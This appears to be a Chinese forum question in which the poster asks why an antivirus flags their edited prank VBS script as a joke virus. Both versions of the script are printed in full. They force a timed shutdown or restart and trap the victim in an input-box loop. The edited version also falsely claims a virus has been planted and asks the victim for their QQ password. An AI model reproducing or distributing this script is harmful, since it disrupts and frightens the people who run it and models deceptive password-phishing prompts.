我下了个会重启机子的脚本文件（查不出有病毒），想稍作修改拿去捉弄别人，修改后的脚本却被瑞星定为病毒了，病毒名是Joke.Script.VBS.ShutDown.a。我怎么也不相信自己会做出病毒，我又没改脚本的命令（我也不会改指令），怎么会变成病毒？
以下提供脚本原文和我修改后的脚本：
原文：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -f -s -t 60 -c ""叫哥，不叫哥就关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("叫哥,就不关机，赶紧，说 ""哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真乖啊"
修改后：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""偷别人的东西是不对的，已植入老鼠病毒mouse.drv以禁止你再偷菜，你可以重装系统来解禁偷菜功能。但无论如何，你必须接受一次关机惩罚！！···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说出QQ密码，验证正确并自动修改后，即可取消关机","开心反偷菜程序","请在此输入QQ密码（区分大小写）",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真乖啊"
我弄出来的真的是病毒吗？我已经发过给2个人了，不会流传吧？！